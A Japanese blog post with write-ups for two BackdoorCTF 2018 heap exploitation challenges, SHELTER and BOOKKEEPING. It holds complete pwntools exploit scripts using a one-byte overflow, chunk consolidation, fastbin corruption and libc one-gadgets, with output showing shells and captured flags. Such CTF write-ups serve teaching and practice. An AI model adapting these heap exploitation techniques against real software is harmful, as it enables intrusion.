ブログ未満のなにか

ブログなのか誰にも分からない

BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup

SHELTER (pwn, 200pts)

機能

ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Helpを選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。

# ./challenge

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 1
Enter content > hogehoge
Created at 0x5595c8fb3010 !

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 3
I am located at 0x5595c7af0c1a

構造体

ノートの構造体は以下のようになっていた。malloc()で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。

struct Note {
    void* func_ptr;
    char content[0xf0];
}

vuln

ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。

exploit

get_shell()というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()を呼び出す。 PREV_INUSEをクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()を呼んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8088
LHOST = "127.0.0.1"
LPORT = 8088

# libc = ELF('./libc.so.6')
elf = ELF('./challenge')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./challenge'], gdbscript=execute)
else:
    conn = process(['./challenge'])
    # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

log.info('Pwning')

def new_note(content):
    conn.sendlineafter('choice >', '1')
    conn.sendafter('Enter content >', content)
    conn.recvuntil('at ')
    return int(conn.recv(14), 16)

def del_note(idx):
    conn.sendlineafter('choice >', '2')
    conn.sendlineafter('Enter index to delete note >', str(idx))

def help():
    conn.sendlineafter('choice >', '3')
    conn.recvuntil('I am located at ')
    return int(conn.recv(14),16)

# leak bin_base
bin_base = help() - 0xc1a
log.info('bin_base = 0x%x', bin_base)



heap_base = new_note('x'*0xf0) - 0x10
fake_chunk = heap_base + 0x70
log.info('heap_base = 0x%x', heap_base)
new_note('y'*0xf0)
new_note('z'*0xf0)
del_note(0)
# ptr.fd->bk == ptr
# ptr.bk->fd == ptr
payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00'
new_note(payload)
del_note(1)
new_note(p64(bin_base + 0xa30)*0x18)
del_note(1)
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/shelter/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 51.15.73.163 on port 8088: Done
[*] Pwning
[*] bin_base = 0x5642f01b8000
[*] heap_base = 0x5642f15a7000
[*] Switching to interactive mode
$ ls
challenge
flag.txt
$ cat flag.txt
CTF{Y0U_4R3_T0_B3_R3W4RD3D}

BOOKKEEPING (pwn, 350pts)

ノート管理アプリ。 サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.oの方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。

#!/usr/bin/env python
from pwn import *
import subprocess

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8888
LHOST = "127.0.0.1"
LPORT = 8888

# libc = ELF('')
elf = ELF('./service.o')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./service.o'], gdbscript=execute)
else:
    conn = process(['./service.o'])
    # conn = process(['./service.o'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_note(length, title, body):
    conn.sendlineafter('>', '1')
    conn.sendlineafter('Enter note length>', str(length))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def delete_note(idx):
    conn.sendlineafter('>', '2')
    conn.sendlineafter('Enter note index>', str(idx))

def edit_note(idx, title, body):
    conn.sendlineafter('>', '3')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def print_note(idx):
    conn.sendlineafter('>', '4')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.recvuntil('Title: ')
    title = conn.recvuntil('Body: ')
    body = conn.recvuntil('Welcome')
    return (title, body)

log.info('Pwning')
subprocess.call(['rm', '-f', '/dev/shm/notes_dir'])

# leak
add_note(-0x10, 'x'*0x20, '\n')
add_note(0x10, 'y'*0x20, 'y'*0xf)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(1)
(_, buf) = print_note(0)
libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78
log.info('libc_base = 0x%x', libc_base)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(2)

add_note(-0x40, 'a'*0x20, '\n')
add_note(-0x40, 'b'*0x20, '\n')
add_note(-0x40, 'c'*0x20, '\n')
delete_note(3)
payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed)
edit_note(2, payload, '\n')
add_note(-0x40, 'd'*0x20, '\n')
payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a)
add_note(-0x40, payload, '\n')
delete_note(0)

conn.sendlineafter('>', '1')
conn.sendlineafter('Enter note length>', '1')
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 51.15.73.163 on port 8888: Done
[*] Pwning
[*] libc_base = 0x7fa4a7097000
[*] Switching to interactive mode
$ ls
Makefile
flag
service.c
service.o
verifier.c
verifier.o
$ cat flag
cat: flag: Permission denied
# python exp.py
[+] Opening connection to 51.15.73.163 on port 8888: Done

Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Body: \x80\xa2\x1a
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Heap base @: 0x21aa000

Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?}
Body:
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Closed connection to 51.15.73.163 port 8888